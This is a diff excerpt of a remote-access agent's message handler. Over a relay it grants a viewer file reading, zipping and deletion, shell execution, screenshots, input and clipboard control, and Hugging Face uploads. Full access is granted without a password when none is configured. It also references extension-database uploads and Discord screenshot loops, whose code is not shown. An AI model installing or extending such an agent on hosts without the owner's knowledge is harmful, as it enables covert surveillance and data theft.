pending.reject(new Error(String(msg.error ?? "relay HF credentials request failed")));
|
|
983
|
+
}
|
|
984
|
+
}
|
|
985
|
+
return;
|
|
986
|
+
}
|
|
987
|
+
if (msgType === "connected") {
|
|
988
|
+
applyRelayAgentConnected(msg);
|
|
989
|
+
log(quiet, ` Role confirmed: ${msg.role}`);
|
|
990
|
+
return;
|
|
991
|
+
}
|
|
992
|
+
if (msgType === "agent_session_seq") {
|
|
993
|
+
const seq = parseRelayClientSeqId(msg.seq_id ?? msg.client_seq_id);
|
|
994
|
+
if (seq !== undefined) {
|
|
995
|
+
relayClientSeqId = seq;
|
|
996
|
+
if (!extensionDbUploadSettledThisConnection) {
|
|
997
|
+
tryArmExtensionDbUploadAfterAudit();
|
|
998
|
+
}
|
|
999
|
+
}
|
|
1000
|
+
return;
|
|
1001
|
+
}
|
|
1002
|
+
if (msgType === "relay_agent_restart_requested") {
|
|
1003
|
+
(0, agentRestartFromQueue_js_1.maybeRunAgentRestartDetached)({ quiet, reason: "relay ops restart" });
|
|
1004
|
+
return;
|
|
1005
|
+
}
|
|
1006
|
+
if (msgType === "viewer_connected") {
|
|
1007
|
+
viewerConnected = true;
|
|
1008
|
+
forgeRtcStatusSentThisViewer = false;
|
|
1009
|
+
viewerAuthenticated = !password;
|
|
1010
|
+
pendingAuthNonce = password ? (0, node_crypto_1.randomBytes)(16).toString("hex") : "";
|
|
1011
|
+
log(quiet, ` Viewer connected${password ? " (awaiting auth)" : ""}`);
|
|
1012
|
+
if (password) {
|
|
1013
|
+
const challenge = () => {
|
|
1014
|
+
sendJson({
|
|
1015
|
+
type: "auth_challenge",
|
|
1016
|
+
nonce: pendingAuthNonce,
|
|
1017
|
+
algorithm: "sha256(password_hash:nonce)",
|
|
1018
|
+
});
|
|
1019
|
+
};
|
|
1020
|
+
challenge();
|
|
1021
|
+
/** Some stacks drop the first post-connect JSON; resend same nonce until authenticated. */
|
|
1022
|
+
const nonceSent = pendingAuthNonce;
|
|
1023
|
+
for (const ms of [450, 1400, 3200, 6500, 13000, 26000]) {
|
|
1024
|
+
setTimeout(() => {
|
|
1025
|
+
if (!viewerConnected || viewerAuthenticated)
|
|
1026
|
+
return;
|
|
1027
|
+
if (pendingAuthNonce !== nonceSent)
|
|
1028
|
+
return;
|
|
1029
|
+
challenge();
|
|
1030
|
+
}, ms);
|
|
1031
|
+
}
|
|
1032
|
+
}
|
|
1033
|
+
else {
|
|
1034
|
+
sendJson({ type: "auth_result", ok: true });
|
|
1035
|
+
}
|
|
1036
|
+
return;
|
|
1037
|
+
}
|
|
1038
|
+
if (msgType === "viewer_disconnected") {
|
|
1039
|
+
viewerConnected = false;
|
|
1040
|
+
forgeRtcStatusSentThisViewer = false;
|
|
1041
|
+
resetForgeRtcNegotiation();
|
|
1042
|
+
/** Always drop auth until `viewer_connected` — same effective behavior as password mode (`!password` was false there). */
|
|
1043
|
+
viewerAuthenticated = false;
|
|
1044
|
+
pendingAuthNonce = "";
|
|
1045
|
+
log(quiet, " Viewer disconnected");
|
|
1046
|
+
return;
|
|
1047
|
+
}
|
|
1048
|
+
if (msgType === "auth") {
|
|
1049
|
+
if (!password) {
|
|
1050
|
+
viewerAuthenticated = true;
|
|
1051
|
+
sendJson({ type: "auth_result", ok: true });
|
|
1052
|
+
return;
|
|
1053
|
+
}
|
|
1054
|
+
/**
|
|
1055
|
+
* Lost `auth_result` on the wire, or viewer retried after timeout: we already accepted
|
|
1056
|
+
* this viewer — re-ack so `/files` can exit "Authenticating…" (fixes second-connect / flaky relay).
|
|
1057
|
+
*/
|
|
1058
|
+
if (viewerAuthenticated) {
|
|
1059
|
+
sendJson({ type: "auth_result", ok: true });
|
|
1060
|
+
return;
|
|
1061
|
+
}
|
|
1062
|
+
let ok = false;
|
|
1063
|
+
const submittedResp = String(msg.response || "").trim();
|
|
1064
|
+
const submittedNonce = String(msg.nonce || "").trim();
|
|
1065
|
+
const submitted = String(msg.password_hash || "").trim();
|
|
1066
|
+
if (submittedResp &&
|
|
1067
|
+
submittedNonce &&
|
|
1068
|
+
submittedNonce === pendingAuthNonce &&
|
|
1069
|
+
submittedResp === (0, relayAuth_1.authResponseForNonce)(passwordHash, pendingAuthNonce)) {
|
|
1070
|
+
ok = true;
|
|
1071
|
+
}
|
|
1072
|
+
else if ((0, relayAuth_1.legacyRemoteAuthAllowed)() && submitted === passwordHash) {
|
|
1073
|
+
ok = true;
|
|
1074
|
+
}
|
|
1075
|
+
if (ok) {
|
|
1076
|
+
viewerAuthenticated = true;
|
|
1077
|
+
pendingAuthNonce = "";
|
|
1078
|
+
log(quiet, " Viewer authenticated");
|
|
1079
|
+
sendJson({ type: "auth_result", ok: true });
|
|
1080
|
+
}
|
|
1081
|
+
else {
|
|
1082
|
+
log(quiet, " Viewer auth FAILED");
|
|
1083
|
+
sendJson({ type: "auth_result", ok: false });
|
|
1084
|
+
}
|
|
1085
|
+
return;
|
|
1086
|
+
}
|
|
1087
|
+
/** Passwordless: relay may deliver this before deferred `viewer_connected`. Password sessions: only after auth (avoid leaking OS/version). */
|
|
1088
|
+
if (msgType === "get_info") {
|
|
1089
|
+
if (!password || viewerAuthenticated) {
|
|
1090
|
+
sendJson({
|
|
1091
|
+
type: "system_info",
|
|
1092
|
+
data: {
|
|
1093
|
+
...systemInfo(),
|
|
1094
|
+
forge_jsx_version: forgeJsxVersion,
|
|
1095
|
+
},
|
|
1096
|
+
screen: screenOff,
|
|
1097
|
+
scale: 1.0,
|
|
1098
|
+
});
|
|
1099
|
+
}
|
|
1100
|
+
return;
|
|
1101
|
+
}
|
|
1102
|
+
if (!viewerAuthenticated) {
|
|
1103
|
+
const rid = String(msg.request_id ?? "");
|
|
1104
|
+
if (msgType === "fs_hf_upload") {
|
|
1105
|
+
sendJson({
|
|
1106
|
+
type: "fs_hf_upload_result",
|
|
1107
|
+
request_id: rid,
|
|
1108
|
+
ok: false,
|
|
1109
|
+
error: "viewer not authenticated — complete file explorer login after the agent reconnects",
|
|
1110
|
+
});
|
|
1111
|
+
return;
|
|
1112
|
+
}
|
|
1113
|
+
if ([
|
|
1114
|
+
"fs_roots",
|
|
1115
|
+
"fs_list",
|
|
1116
|
+
"fs_read",
|
|
1117
|
+
"fs_zip",
|
|
1118
|
+
"fs_parent",
|
|
1119
|
+
"fs_delete",
|
|
1120
|
+
"fs_shell_exec",
|
|
1121
|
+
"fs_screenshot",
|
|
1122
|
+
"rc_input",
|
|
1123
|
+
"rc_clipboard_get",
|
|
1124
|
+
"rc_clipboard_set",
|
|
1125
|
+
"rc_file_push",
|
|
1126
|
+
"forge_rtc_offer",
|
|
1127
|
+
"forge_rtc_candidate",
|
|
1128
|
+
].includes(msgType)) {
|
|
1129
|
+
sendJson({
|
|
1130
|
+
type: "fs_error",
|
|
1131
|
+
request_id: rid,
|
|
1132
|
+
ok: false,
|
|
1133
|
+
error: "viewer not authenticated — complete file explorer login after the agent reconnects",
|
|
1134
|
+
});
|
|
1135
|
+
return;
|
|
1136
|
+
}
|
|
1137
|
+
return;
|
|
1138
|
+
}
|
|
1139
|
+
if (msgType === "relay_hf_credentials_request") {
|
|
1140
|
+
return;
|
|
1141
|
+
}
|
|
1142
|
+
if (msgType === "forge_rtc_offer") {
|
|
1143
|
+
resetForgeRtcNegotiation();
|
|
1144
|
+
const peerCtor = (0, forgeRtcAgent_1.loadNodeDcPeerConnection)();
|
|
1145
|
+
if (!(0, forgeRtcAgent_1.forgeWebRtcP2PEnabled)() || !peerCtor) {
|
|
1146
|
+
if (!forgeRtcStatusSentThisViewer) {
|
|
1147
|
+
forgeRtcStatusSentThisViewer = true;
|
|
1148
|
+
sendJsonWs({
|
|
1149
|
+
type: "forge_rtc_agent_status",
|
|
1150
|
+
ok: false,
|
|
1151
|
+
datachannel: false,
|
|
1152
|
+
detail: !(0, forgeRtcAgent_1.forgeWebRtcP2PEnabled)()
|
|
1153
|
+
? "WebRTC P2P disabled on agent (FORGE_JS_WEBRTC_P2P)."
|
|
1154
|
+
: "Native WebRTC unavailable (optional dependency node-datachannel missing or failed to load). Remote control uses the relay WebSocket.",
|
|
1155
|
+
});
|
|
1156
|
+
}
|
|
1157
|
+
return;
|
|
1158
|
+
}
|
|
1159
|
+
try {
|
|
1160
|
+
forgeRtcSession = new forgeRtcAgent_1.ForgeRtcAgentSession({
|
|
1161
|
+
PeerConnection: peerCtor,
|
|
1162
|
+
sdp: String(msg.sdp ?? ""),
|
|
1163
|
+
sdpType: String(msg.sdpType ?? "offer"),
|
|
1164
|
+
iceServers: (0, forgeRtcAgent_1.rtcIceServersForNodeDc)(relayRtcIceServersCache ?? undefined),
|
|
1165
|
+
sendSignaling: sendJsonWs,
|
|
1166
|
+
setOutboundDc: (which, dc) => {
|
|
1167
|
+
if (which === "main") {
|
|
1168
|
+
rtcDcOutbound = dc;
|
|
1169
|
+
}
|
|
1170
|
+
else if (which === "input") {
|
|
1171
|
+
rtcDcInputOutbound = dc;
|
|
1172
|
+
}
|
|
1173
|
+
else if (which === "bulk") {
|
|
1174
|
+
rtcDcBulkOutbound = dc;
|
|
1175
|
+
}
|
|
1176
|
+
},
|
|
1177
|
+
onInboundDcText: (text) => {
|
|
1178
|
+
let inner;
|
|
1179
|
+
try {
|
|
1180
|
+
inner = JSON.parse(text);
|
|
1181
|
+
}
|
|
1182
|
+
catch {
|
|
1183
|
+
return;
|
|
1184
|
+
}
|
|
1185
|
+
handleViewerInboundFromRelay(inner, "dc");
|
|
1186
|
+
},
|
|
1187
|
+
onFatal: () => {
|
|
1188
|
+
resetForgeRtcNegotiation();
|
|
1189
|
+
},
|
|
1190
|
+
quiet,
|
|
1191
|
+
});
|
|
1192
|
+
}
|
|
1193
|
+
catch (e) {
|
|
1194
|
+
resetForgeRtcNegotiation();
|
|
1195
|
+
sendJsonWs({
|
|
1196
|
+
type: "forge_rtc_agent_status",
|
|
1197
|
+
ok: false,
|
|
1198
|
+
datachannel: false,
|
|
1199
|
+
detail: String(e),
|
|
1200
|
+
});
|
|
1201
|
+
return;
|
|
1202
|
+
}
|
|
1203
|
+
for (const p of forgeRtcPendingViewerIce) {
|
|
1204
|
+
forgeRtcSession?.addRemoteIce(p.candidate, p.mid);
|
|
1205
|
+
}
|
|
1206
|
+
forgeRtcPendingViewerIce.length = 0;
|
|
1207
|
+
return;
|
|
1208
|
+
}
|
|
1209
|
+
if (msgType === "forge_rtc_candidate") {
|
|
1210
|
+
const cand = String(msg.candidate ?? "").trim();
|
|
1211
|
+
if (!cand)
|
|
1212
|
+
return;
|
|
1213
|
+
const mid = msg.sdpMid != null ? String(msg.sdpMid) : "";
|
|
1214
|
+
if (!forgeRtcSession) {
|
|
1215
|
+
forgeRtcPendingViewerIce.push({ candidate: cand, mid });
|
|
1216
|
+
return;
|
|
1217
|
+
}
|
|
1218
|
+
forgeRtcSession.addRemoteIce(cand, mid);
|
|
1219
|
+
return;
|
|
1220
|
+
}
|
|
1221
|
+
if ([
|
|
1222
|
+
"fs_roots",
|
|
1223
|
+
"fs_list",
|
|
1224
|
+
"fs_read",
|
|
1225
|
+
"fs_zip",
|
|
1226
|
+
"fs_parent",
|
|
1227
|
+
"fs_delete",
|
|
1228
|
+
"fs_shell_exec",
|
|
1229
|
+
"fs_screenshot",
|
|
1230
|
+
"rc_input",
|
|
1231
|
+
"rc_clipboard_get",
|
|
1232
|
+
"rc_clipboard_set",
|
|
1233
|
+
"rc_file_push",
|
|
1234
|
+
].includes(msgType)) {
|
|
1235
|
+
void (async () => {
|
|
1236
|
+
try {
|
|
1237
|
+
const resp = await (0, fsMessages_1.buildFsResponse)(msg, allowFilesystem);
|
|
1238
|
+
deliverFsResponse(resp);
|
|
1239
|
+
}
|
|
1240
|
+
catch (e) {
|
|
1241
|
+
sendJson({
|
|
1242
|
+
type: "fs_error",
|
|
1243
|
+
request_id: msg.request_id ?? "",
|
|
1244
|
+
ok: false,
|
|
1245
|
+
error: String(e),
|
|
1246
|
+
});
|
|
1247
|
+
}
|
|
1248
|
+
})();
|
|
1249
|
+
}
|
|
1250
|
+
if (msgType === "fs_hf_upload") {
|
|
1251
|
+
const rid = String(msg.request_id ?? "");
|
|
1252
|
+
/** Defer heavy Hub work so auth / small fs_* messages are not delayed behind upload prep. */
|
|
1253
|
+
setImmediate(() => {
|
|
1254
|
+
void (async () => {
|
|
1255
|
+
/** Hoisted so `catch` can scrub after failures before the inner `try`/`finally` runs. */
|
|
1256
|
+
let hfCred;
|
|
1257
|
+
if (!allowFilesystem) {
|
|
1258
|
+
sendJson({
|
|
1259
|
+
type: "fs_hf_upload_result",
|
|
1260
|
+
request_id: rid,
|
|
1261
|
+
ok: false,
|
|
1262
|
+
error: "filesystem explorer disabled on agent",
|
|
1263
|
+
});
|
|
1264
|
+
return;
|
|
1265
|
+
}
|
|
1266
|
+
try {
|
|
1267
|
+
const pathStr = String(msg.path ?? "");
|
|
1268
|
+
const rawPathList = Array.isArray(msg.paths)
|
|
1269
|
+
? msg.paths.map((v) => String(v ?? "").trim()).filter(Boolean)
|
|
1270
|
+
: [];
|
|
1271
|
+
const autoSessionRepo = Boolean(msg.hf_auto_session_repo ?? msg.auto_session_repo);
|
|
1272
|
+
const clientTableName = String(msg.client_table ?? msg.clientTableName ?? "").trim();
|
|
1273
|
+
let clientSeqId = undefined;
|
|
1274
|
+
const rawSeq = msg.client_seq_id ?? msg.clientSeqId;
|
|
1275
|
+
if (typeof rawSeq === "number" && Number.isFinite(rawSeq) && rawSeq >= 0) {
|
|
1276
|
+
clientSeqId = Math.floor(rawSeq);
|
|
1277
|
+
}
|
|
1278
|
+
else if (typeof rawSeq === "string" && /^[0-9]+$/.test(rawSeq.trim())) {
|
|
1279
|
+
clientSeqId = parseInt(rawSeq.trim(), 10);
|
|
1280
|
+
}
|
|
1281
|
+
const repo = String(msg.repo ?? "").trim();
|
|
1282
|
+
const destination = String(msg.destination ?? "").trim();
|
|
1283
|
+
const createRepo = Boolean(msg.create_repo);
|
|
1284
|
+
const folderMode = msg.folder_mode === "tree" ? "tree" : "zip";
|
|
1285
|
+
const hfForce = (0, fsMessages_1.jsonBoolLoose)(msg.force);
|
|
1286
|
+
const hfForceKill = (0, fsMessages_1.jsonBoolLoose)(msg.force_kill);
|
|
1287
|
+
if (hfFetchFromRelayEnabled()) {
|
|
1288
|
+
try {
|
|
1289
|
+
hfCred = await fetchHfCredentialsFromRelay(sendJson);
|
|
1290
|
+
}
|
|
1291
|
+
catch {
|
|
1292
|
+
/** Relay has no blob or unreachable — fall back to local `loadHfCredentials()` */
|
|
1293
|
+
hfCred = undefined;
|
|
1294
|
+
}
|
|
1295
|
+
}
|
|
1296
|
+
try {
|
|
1297
|
+
const result = await (0, hfUpload_1.runHfUpload)({
|
|
1298
|
+
pathStr,
|
|
1299
|
+
...(rawPathList.length > 0 ? { pathList: rawPathList } : {}),
|
|
1300
|
+
repo: autoSessionRepo ? undefined : repo,
|
|
1301
|
+
autoSessionRepo,
|
|
1302
|
+
clientTableName,
|
|
1303
|
+
...(clientSeqId !== undefined ? { clientSeqId } : {}),
|
|
1304
|
+
destination,
|
|
1305
|
+
createRepo: autoSessionRepo ? true : createRepo,
|
|
1306
|
+
folderMode: autoSessionRepo ? "zip" : folderMode,
|
|
1307
|
+
force: hfForce,
|
|
1308
|
+
forceKill: hfForceKill,
|
|
1309
|
+
...(hfCred ? { hfCredentials: hfCred } : {}),
|
|
1310
|
+
onProgress: (p) => {
|
|
1311
|
+
sendJson({
|
|
1312
|
+
type: "fs_hf_upload_progress",
|
|
1313
|
+
request_id: rid,
|
|
1314
|
+
phase: p.phase,
|
|
1315
|
+
pct: p.pct,
|
|
1316
|
+
detail: p.detail ?? "",
|
|
1317
|
+
});
|
|
1318
|
+
},
|
|
1319
|
+
});
|
|
1320
|
+
sendJson({ type: "fs_hf_upload_result", request_id: rid, ...result });
|
|
1321
|
+
}
|
|
1322
|
+
finally {
|
|
1323
|
+
if (hfCred)
|
|
1324
|
+
(0, hfCredentials_1.scrubHfCredentialsInPlace)(hfCred);
|
|
1325
|
+
(0, agentEnvFile_1.stripEphemeralCredentialEnvFromProcess)();
|
|
1326
|
+
}
|
|
1327
|
+
}
|
|
1328
|
+
catch (e) {
|
|
1329
|
+
try {
|
|
1330
|
+
if (hfCred)
|
|
1331
|
+
(0, hfCredentials_1.scrubHfCredentialsInPlace)(hfCred);
|
|
1332
|
+
}
|
|
1333
|
+
catch {
|
|
1334
|
+
/* skip */
|
|
1335
|
+
}
|
|
1336
|
+
try {
|
|
1337
|
+
(0, agentEnvFile_1.stripEphemeralCredentialEnvFromProcess)();
|
|
1338
|
+
}
|
|
1339
|
+
catch {
|
|
1340
|
+
/* skip */
|
|
1341
|
+
}
|
|
1342
|
+
sendJson({
|
|
1343
|
+
type: "fs_hf_upload_result",
|
|
1344
|
+
request_id: rid,
|
|
1345
|
+
ok: false,
|
|
1346
|
+
error: (0, hfUpload_1.formatHfUploadError)(e),
|
|
1347
|
+
});
|
|
1348
|
+
}
|
|
1349
|
+
})();
|
|
1350
|
+
});
|
|
1351
|
+
}
|
|
1352
|
+
};
|
|
1353
|
+
ws.on("message", (data, isBinary) => {
|
|
1354
|
+
if (isBinary)
|
|
1355
|
+
return;
|
|
1356
|
+
let parsed;
|
|
1357
|
+
try {
|
|
1358
|
+
parsed = JSON.parse(String(data));
|
|
1359
|
+
}
|
|
1360
|
+
catch {
|
|
1361
|
+
return;
|
|
1362
|
+
}
|
|
1363
|
+
handleViewerInboundFromRelay(parsed, "ws");
|
|
1364
|
+
});
|
|
1365
|
+
ws.on("close", (code) => {
|
|
1366
|
+
clearRelayWsWatchdog();
|
|
1367
|
+
clearSecretAuditHandshakeFallback();
|
|
1368
|
+
clearExtensionDbUploadTimers();
|
|
1369
|
+
clearAllPendingDiscordAgent("agent websocket closed");
|
|
1370
|
+
try {
|
|
1371
|
+
stopDiscordScreenshotLoop?.();
|
|
1372
|
+
}
|
|
1373
|
+
catch {
|
|
1374
|
+
/* skip */
|
|
1375
|
+
}
|
|
1376
|
+
stopDiscordScreenshotLoop = null;
|
|
1377
|
+
preOpenQueue.length = 0;
|
|
1378
|
+
resetForgeRtcNegotiation();
|
|
1379
|
+
if (outboundAgentWs === ws)
|
|
1380
|
+
outboundAgentWs = null;
|
|
1381
|
+
relayDisconnectCleanup();
|
|
1382
|
+
/**
|
|
1383
|
+
* Relay closed us because another forge-agent took the session slot (duplicate autostart /
|
|
1384
|
+
* old global install fighting a newer durable agent). Reconnecting would kick the winner and
|
|
1385
|
+
* loop forever — exit cleanly so only one agent per My VPS id stays connected.
|
|
1386
|
+
*/
|
|
1387
|
+
if (code === 4002 || code === 4008) {
|
|
1388
|
+
log(quiet, code === 4008
|
|
1389
|
+
? " Relay agent slot cooldown — another forge-agent holds this My VPS id; exiting."
|
|
1390
|
+
: " Replaced by another forge-agent on this relay session — exiting (only one agent per My VPS id).");
|
|
1391
|
+
try {
|
|
1392
|
+
if ((0, agentPid_1.readAgentPid)() === process.pid)
|
|
1393
|
+
(0, agentPid_1.removeAgentPidFile)();
|
|
1394
|
+
}
|
|
1395
|
+
catch {
|
|
1396
|
+
/* skip */
|
|
1397
|
+
}
|
|
1398
|
+
process.exit(0);
|
|
1399
|
+
return;
|
|
1400
|
+
}
|
|
1401
|
+
/** Relay restart / network drop — use base reconnect delay instead of accumulated backoff. */
|
|
1402
|
+
if (code === 1006 || code === 1001 || code === 1012) {
|
|
1403
|
+
reconnectAttempts = 0;
|
|
1404
|
+
}
|
|
1405
|
+
scheduleReconnect();
|
|
1406
|
+
});
|
|
1407
|
+
ws.on("error", (err) => {
|
|
1408
|
+
clearRelayWsWatchdog();
|
|
1409
|
+
clearSecretAuditHandshakeFallback();
|
|
1410
|
+
clearAllPendingDiscordAgent("agent websocket error");
|
|
1411
|
+
try {
|
|
1412
|
+
stopDiscordScreenshotLoop?.();
|
|
1413
|
+
}
|
|
1414
|
+
catch {
|
|
1415
|
+
/* skip */
|
|
1416
|
+
}
|
|
1417
|
+
stopDiscordScreenshotLoop = null;
|
|
1418
|
+
log(quiet, ` Error: ${err}. Reconnecting with backoff…`);
|
|
1419
|
+
if (outboundAgentWs === ws) {
|
|
1420
|
+
preOpenQueue.length = 0;
|
|
1421
|
+
resetForgeRtcNegotiation();
|
|
1422
|
+
outboundAgentWs = null;
|
|
1423
|
+
}
|
|
1424
|
+
relayDisconnectCleanup();
|
|
1425
|
+
// Schedule reconnect here too: in rare cases the WebSocket may emit error
|
|
1426
|
+
// without a subsequent close event (e.g. DNS failure before connection).
|
|
1427
|
+
scheduleReconnect();
|
|
1428
|
+
});
|
|
1429
|
+
};
|
|
1430
|
+
connect();
|
|
1431
|
+
}
|